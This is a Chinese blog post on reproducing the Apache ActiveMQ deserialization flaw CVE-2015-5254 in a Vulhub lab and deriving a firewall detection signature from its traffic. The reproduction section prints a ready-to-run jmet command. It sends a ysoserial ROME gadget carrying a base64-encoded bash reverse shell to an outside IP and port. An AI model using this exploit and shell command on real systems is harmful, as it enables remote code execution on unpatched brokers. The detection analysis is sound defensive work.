ActiveMQ 反序列化漏洞(CVE-2015-5254)特征分析

news2025/8/13 3:53:27

介绍

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

复现

1.Vulhub搭建好后对8161端口主页面进行访问

 2.从github上下载jmetjar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserialgadget中选择一个可以使用的,比如ROME

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

3.执行

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODIuOTIuMy4xNTYvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.130.161 61616

调用java -jar 运行 jmet的jar包,-Q是插入一个名为event的队列,-I 是选择装载ActiveMQ模块 -s 是选择ysoserial payload -Y 是攻击模式和内容 -Yp 是选择攻击利用链,这是选择是ROME, 之后带上IP加端口。

4.模拟管理员访问/admin/browse.jsp?JMSDestination=event 登录

登录后会看到请求

5.nc进行监听

6.当管理员点击后,会执行命令

 7.收到回话,反弹shell成功

 特征分析

1.抓取数据包查看tcp流

2.java -jar 运行 jmet的jar包时像服务器发送数据

需要 -I 来指定装载ActiveMQ模块,所以tcp流中会有ActiveMQ关键字

3.jmet原理是使用ysoserial生成Payload并发送,所以会有ysoserial/payloads关键字。

下面是执行的反弹shell的命令

 

综上所述:CVE-2015-5254特征为tcp流数据中包括 ActiveMQysoserial/payloads 关键字

规则测试

重新执行jmet

管理员这里并没有增加

防火墙成功拦截

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/33351.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Flutter高仿微信-第37篇-单聊-红包

Flutter高仿微信系列共59篇,从Flutter客户端、Kotlin客户端、Web服务器、数据库表结构、Xmpp即时通讯服务器、视频通话服务器、腾讯云服务器全面讲解。 详情请查看 效果图: 详情请参考 Flutter高仿微信-第29篇-单聊 , 这里只是提取红包功能的…

第二章:Pythonocc官方demo 案例47(获取物体的最优的包容体)

源代码: #!/usr/bin/env python ## ##This file is part of pythonOCC. ## ##pythonOCC is free software: you can redistribute it and/or modify ##it under the terms of the GNU Lesser General Public License as published by ##the Free Software Foundati…

Hadoop笔记-02 安装

文章目录1 VBOX安装CentOS71.1 安装VBOX软件1.2 下载CentOS7镜像文件1.3 初始化VBOX虚拟盘1.4 CentOS7网络配置1.5 CentOS7 yum源配置1.6 CentOS7 一般配置1.6.1关闭防火墙1.6.2 修改hostname1.6.3 配置DNS绑定1.6.4 关闭selinux2 JDK等基础安装配置2.1 安装JDK前检查2.2 安装t…

《Happy Birthday》游戏开发记录(送给朋友的小礼物)

游戏开发的学习记录⑦ 项目:Happy Birthday (一个小小小游戏,基于unity给朋友做的一个生日小礼物🎁,之前都是礼物加信💌,今年想用自己的技能,把信的内容以另一种方式送给她。但在做…

STM32实战总结:HAL之modbus

什么是modbus? Modbus是一种串行通信协议,是Modicon公司(现在的施耐德电气 Schneider Electric)于1979年为使用可编程逻辑控制器(PLC)通信而发表。Modbus已经成为工业领域通信协议的业界标准(De…

OsgEarth3基础3D图形实现

OsgEarth3基础3D图形实现主要难点Geometry能力姿态支持任意立方体 PolygonCube矩形立方体 Box圆锥体 Cone圆柱体 Cylinder四棱锥 Pyramid球体 Sphere源码示例ElementGeometry圆锥Cone这里尝试在通过OsgEarth提供的各种图形绘制方法,实现基础的3D图形。每个图形除了基…

推荐一个非常实用的程序员导航网站,码农必备!

这是一个非常好用的程序员导航网站,拥有该网站,就拥有一站式导航,再也不用为找网址而发愁了! 先直接上网址:https://hao.panziye.com/ 现在来说说为什么推荐该程序员导航网站! 1、支持自定义导航网址 该…

pytorch的安装教程

1. 官网 pytorch.org 哎呀呀呀,这是嘛呀哪里有download的按钮啊 别急 ,往下拉就ok了哈哈 得看你自己电脑的配置了,自己选就行 、、注意哦 我们得复制一条指令 、 有anaconda的吧 在自己想要的环境里面 黏贴就行 有了 pytorch 可以干嘛呢…

Electron:BrowserView使用方法

我们知道,使用BrowserWindow来创建一个新的窗口,那么如果想在窗口中战胜斯更多的web内容,比如嵌入其他网站的内容,那就使用BrowserView了。 BrowserView的位置是相对于父窗口,比如: 代码如下:…

python项目使用pyinstaller打包

一、安装pyinstaller 打包要使用pyinstaller,使用pip来安装一下这个第三方库,打开命令行输入pip install pyinstaller 二、打包含有多个文件的python项目 1、首先打开电脑的cmd命令行,并切换到项目的根目录 项目路径输入cmd回车,可直接打开含有项目路径的cmd窗口 2、…

【推荐系统】行列式点过程(DPP)算法推导

一、背景 推荐系统主要解决用户和物品之间的相关性,以及推荐列表的多样性。相关性主要通过用户兴趣和物品之间的匹配程度来衡量,希望把用户感兴趣的物品推荐给用户,可以通过CTR预估模型来构建。多样性的衡量没有那么直观,一种方法…

std::unique_ptr(基础和仿写)

目录 一、C参考手册说明 1、解释注释 2、 参考代码 二、对std::unique_ptr分析 1、创建一个unique_ptr 2、无法进行复制构造和赋值操作 3、可以进行移动赋值 4.可以返回unique——ptr 5、管理动态数组 6、在容器中保存指针 三、对std::unique_ptr设计 1、对于的那个…

关于生命周期的面试题vue

1.第一次进入到页面(组件)会执行哪些生命周期 beforeCreate 》 没有data,没有elcreated 》 有data,没有elbeforeMount 》 有data,没有el(其实已经在准备了)mounted 》 有data,有el …

SRM供应商管理系统有什么作用?

目前国内稍具规模的企业都导入了企业资源管理ERP系统,实现了内部管理数字化转型,提升了内部各部门之间的协同能力。但是企业供应链管理涉及大量的外部资源,特别是数量庞大的供应商资源,而大部分的ERP系统很难实现采购同供应商之间…

感恩节,感谢2022的转变,有在好好生活!

疫情之下的感恩节 原来今天是感恩节。2022年快要结束了,在这样一个特别的节日里,就不写技术类文章了,写一写我的2022年,这一年,我的学习、工作和生活都有发生改变,感谢过去的时光,改变让我有在…

Linux下:文件与路径、用户管理、常用命令、vim

文章目录第一章: Linux文件与路径1.1 文件结构1.2 基本概念1.3 基本命令信息1.3.1 查看linux 系统信息(修改主机名)1.3.2 ls1.3.3 cd/pwd1.3.4 pushd命令创建目录栈 第二章: 文件/目录的创建、删除、复制、阅读2.1 mkdir2.2 touc…

书籍Java8 实战 笔记

第5章 使用流 本章内容 1.筛选、切片和匹配 2.查找、匹配和归约 3.使用数值范围等数值流 4.从多个源创建流 5.无限流 5.1 筛选和切片 用谓词筛选,筛选出各不相同的元素,忽略流中的头几个元素,或将流截短至指定长度。 5.1.1 用谓词筛选 就是…

【优化分配】粒子群算法求解火车票分配优化问题【含Matlab源码 1137期】

⛄一、粒子群算法简介 1 引言 自然界中的鸟群和鱼群的群体行为一直是科学家的研究兴趣所在。生物学家Craig Reynolds在1987年提出了一个非常有影响的鸟群聚集模型,在他的仿真中,每一个个体都遵循:避免与邻域个体相撞:匹配邻域个体…

vue3+vite中使用vuex

前言: 在vue3vite创建的项目中使用vuex,要注意的是vite有部分写法和之前的webpack是不同的,比如,他不支持 require,想把vue2的项目直接升级到vue3的时候,需要改很多地方,如果非要使用vite也可以…

Caffeine《二》

《Caffeine(Java顶级缓存组件)二》 提示: 本材料只做个人学习参考,不作为系统的学习流程,请注意识别!!! 《Caffeine(Java顶级缓存组件)》《Caffeine(Java顶级缓存组件)二》8. 缓存驱逐算法8.1 FIFO(First …